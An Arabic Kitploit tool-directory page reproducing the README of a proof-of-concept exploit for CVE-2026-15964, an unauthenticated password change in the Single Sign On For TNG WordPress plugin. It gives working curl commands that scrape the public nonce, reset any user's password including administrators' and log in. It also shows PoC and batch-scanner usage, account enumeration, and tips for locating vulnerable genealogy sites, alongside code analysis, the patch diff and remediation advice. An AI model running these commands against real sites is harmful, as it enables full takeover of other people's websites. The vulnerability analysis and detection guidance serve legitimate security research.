Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-15964-PoC — PoC وفحص لـ CVE-2026-15964 - تغيير كلمة المرور دون مصادقة في إضافة ووردبريس Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
أدوات/GitHubGitHub/instructor-admin/cve-2026-15964-poc
المصادقة والترخيصتصعيد الامتيازاتماسحات الثغرات الأمنية للويبالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC وفحص لـ CVE-2026-15964 - تغيير كلمة المرور دون مصادقة في إضافة ووردبريس Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

عرض المستودع
16منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

تصعيد امتيازات بدون مصادقة عبر تغيير كلمة مرور غير موثّق في إضافة ووردبريس Single Sign On For TNG.

الخطورةCritical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Unverified Password Change)
الإصدارات المتأثرةإصدارات الإضافة من 1.0.0 حتى 2.0.0
أُصلح في2.1.0 (صدر في 2026-07-27)
نُشر2026-08-01
المصادقة المطلوبةلا شيء (wp_ajax_nopriv_ssoprocess_ajax)
الأثرتغيير كلمة مرور أي حساب ووردبريس، بما في ذلك حسابات المسؤولين - استيلاء كامل على الموقع
الإضافةhttps://wordpress.org/plugins/single-sign-on-for-tng/

باختصار

يمكن لأي زائر غير مصادَق تغيير كلمة مرور أي حساب على موقع يشغّل الإضافة بالإصدار 2.0.0 أو إصدار أقدم. طلبا HTTP فقط:

  1. أرسل طلب GET إلى الصفحة الرئيسية وانسخ الـ nonce من كائن JavaScript SSOPWDREQUIREMENT.
  2. أرسله عبر POST إلى admin-ajax.php مع operation=setnewpassword وبريد إلكتروني للضحية وكلمة مرور جديدة.

تقوم دالة reset_password() الأساسية في ووردبريس بالباقي. لا رمز مميز، ولا رابط تأكيد عبر البريد، ولا فحص صلاحيات. سجّل الدخول كمسؤول بعد ذلك.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

لماذا ينجح هذا

المعالج مُسجَّل للمستخدمين غير المصادقين

في single-sign-on-for-tng.php (الإصدار 2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* تعني أن المعالج قابل للوصول دون أي جلسة على الإطلاق.

الحارس الوحيد هو nonce تمنحه الإضافة لكل زائر

الخطاف load_scripts() مربوط بـ wp_enqueue_scripts، لذا في كل صفحة واجهة أمامية تطبع الإضافة هذا في HTML:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

والذي يُعرض كالتالي:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

ويتحقق المعالج منه هكذا:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

المشكلة: يحسب ووردبريس الـ nonce عبر wp_create_nonce($action) باستخدام uid ورمز الجلسة. بالنسبة للزوار غير المسجّلين تكون قيمتهما 0 وسلسلة فارغة، مما يعني أن كل زائر مجهول يحصل على نفس الـ nonce تمامًا. ولا يُعاد توليده إلا كل 12 ساعة (دورة الـ nonce). لذا فإن الـ nonce الذي تطبعه الإضافة لأي زائر صالح أيضًا للمهاجم - لا يوجد سرّ لسرقته، فهو منشور على الصفحة نفسها.

ثم التغيير الفعلي، دون أي إثبات للملكية

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

دالة reset_password() هي دالة أساسية في ووردبريس. تعيّن تجزئة جديدة، وتُخرج الضحية من كل الجلسات الأخرى، وتُطلق حدثَي password_reset / after_password_reset. تُستدعى هنا دون أي شيء يثبت أن المتصل هو مالك الحساب.

معلومتان إضافيتان تستحقان المعرفة:

  • لا يوجد فحص لقوة كلمة المرور على الخادم عبر هذا المسار. قاعدتا MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC في الإضافة تُطبَّقان فقط داخل validate_form() لنماذج Forminator، ولا تُطبَّقان هنا أبدًا. أي كلمة مرور مقبولة.
  • تعداد الحسابات. الفرق بين {"success":true} و{"success":false} يخبرك ما إذا كان بريد إلكتروني مسجّلًا أم لا. يستخدم وضع --enum-only في الفاحص هذا الأمر.
  • خطأ إضافي في الدالة نفسها: operation=set_tzoffset يستدعي update_option('localtzoffset', $post['timezoneoffset']) بدون مصادقة. ليس قابلاً للاستغلال مباشرة لتنفيذ التعليمات البرمجية عن بُعد (RCE)، لكنه كتابة خيار بدون مصادقة ويستحق الذكر في التقرير الفني.

ما الذي تغيّر في 2.1.0

مقارنة الإصدارين 2.0.0 و2.1.0 تجعل الإصلاح واضحًا (وتؤكد وجود الخطأ):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

بالإضافة إلى ذلك، في newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

إذن في 2.1.0 يكون التدفق: طلب استرداد حقيقي يخزّن custom_recovery_token + custom_recovery_nonce خاصين بكل مستخدم في بيانات المستخدم، ورابط الاسترداد يحمل معرّف المستخدم، والنموذج يتحقق من الاثنين، ويرفض معالج AJAX التنفيذ بمجرد انتهاء نافذة الاسترداد (timeout). المهاجم الذي لا يستطيع إنتاج سجل استرداد نشط لا يمكنه تشغيل setnewpassword بعد الآن.


إعادة الإنتاج (يدويًا)

الخطوة 1 - استخرج الـ nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

الخطوة 2 - غيّر كلمة المرور

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

الاستجابة المتوقعة على تثبيت ثغِر: {"success":true}

الخطوة 3 - سجّل الدخول

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

إثبات المفهوم (PoC): CVE-2026-15964.py

استغلال لموقع واحد. يتضمن أوضاعًا غير تخريبية.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

الفاحص: CVE-2026-15964-checker.py

ماسح دفعات لقوائم مواقعك الخاصة. غير تخريبي بالتصميم - لا يغيّر أي كلمة مرور أبدًا.

كيف يصنّف كل موقع:

  1. بصمة HTML - كائن SSOPWDREQUIREMENT أو مسارات الأصول /wp-content/plugins/single-sign-on-for-tng/ في الصفحة الرئيسية.
  2. الإصدار - سطر Stable tag: في readme.txt. <= 2.0.0 ثغِر، >= 2.1.0 مُصحَّح. هذا هو المعيار الحاسم وفقًا لـ CVE.
  3. الاستكشاف السلوكي (--probe، فقط عندما يتعذر قراءة الإصدار) - يرسل operation=setnewpassword عبر POST مع بريد إلكتروني غير موجود. تثبيت 2.0.0 يجيب بـ {"success":false} دون رسالة خطأ؛ بينما يجيب تثبيت 2.1.0 برسالة «انتهى وقت إرسال كلمة المرور الجديدة». لا يُرسل بريد إلكتروني حقيقي أبدًا - لأن إرساله سيعيد تعيين كلمة المرور فعليًا.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

مثال على المخرجات:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

الأحكام: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN تعني عادةً وجود جدار حماية لتطبيقات الويب (WAF)، أو كاش CDN عدواني، أو موقع يحجب ملف readme - افحص هذه الحالات يدويًا.


اختبار الأدوات محليًا

يحاكي tests/mock_server.py ست حالات (ثغِر حسب الإصدار، مُصحَّح حسب الإصدار، ثغِر حسب الاستكشاف، مُصحَّح حسب الاستكشاف، ووردبريس بدون الإضافة، غير ووردبريس). هكذا تم التحقق من منطق الفاحص قبل توجيهه إلى أي هدف حقيقي:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt يوفّر لك الاعتماد الوحيد (requests).


ملاحظات من الميدان

سياق صريح، لأنه يؤثر على طريقة استخدامك لهذه الأداة.

  • تستهدف هذه الإضافة TNG (The Next Generation of Genealogy Sitebuilding)، أي مواقع الأنساب الهواة. إنه نظام بيئي صغير جدًا: نحو 1,600 تنزيل إجمالي على wordpress.org، والتثبيتات النشطة مخفية (< 10)، وأول إصدار كان في أكتوبر 2024.
  • نظرًا لأن 2.1.0 ظهر فقط في 2026-07-27، فإن الغالبية العظمى من التنزيلات هي إصدارات ثغِرة. إذا وجدت أي تثبيت، فمن المرجح جدًا أنه ما يزال ثغِرًا.
  • الاكتشاف هو الجزء الصعب. لا تترك الإضافة أي أثر في فهرس Shodan (تحققت من كل بصمة يمكنني التفكير فيها - صفر نتائج)، وحتى أخذ البصمات لأفضل 1,000 مضيف ووردبريس يعيدها Shodan لم يُظهر أي تثبيت. أفضل مصادرك هي: Google inurl:"single-sign-on-for-tng"، و"SSOPWDREQUIREMENT" في محركات البحث التي تفهرس مصدر الصفحة الكامل (PublicWWW, Censys, FOFA)، ومجتمع TNG نفسه (tngsitebuilding.com, منتديات الأنساب).
  • ستكون فئة UNKNOWN في الفاحص كبيرة نسبيًا على مواقع الأنساب الحقيقية - إذ يعمل الكثير منها خلف كاش عدواني أو يحجب readme.txt. لا تفسّر ذلك على أنه «غير ثغِر»؛ تحقق يدويًا.

الاكتشاف والمعالجة

  • حدّث إلى 2.1.0 (أو أزل الإضافة بالكامل).
  • قاعدة جدار حماية التطبيقات (WAF): ارفض طلبات POST إلى admin-ajax.php حيث action=ssoprocess_ajax لا تأتي من جلسة مصادقة؛ ونبّه على setnewpassword من مصادر مجهولة.
  • راقب تغييرات تجزئة wp_users.user_pass وحدثَي password_reset / after_password_reset؛ وراقب عمليات تسجيل دخول المسؤولين مباشرة بعد أي تغيير لكلمة المرور.
  • تعامل مع ssoajaxnonce كمعلومة عامة - لقد كانت كذلك دائمًا.

المراجع

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Vulnerable source (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Fixed source (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

إخلاء مسؤولية

هذا المستودع مخصص لاختبارات الأمان المصرَّح بها والأغراض التعليمية فقط. أنت مسؤول عن أفعالك. لا تشغّل هذه الأدوات ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة في معظم الدول.

تنزيل الأداة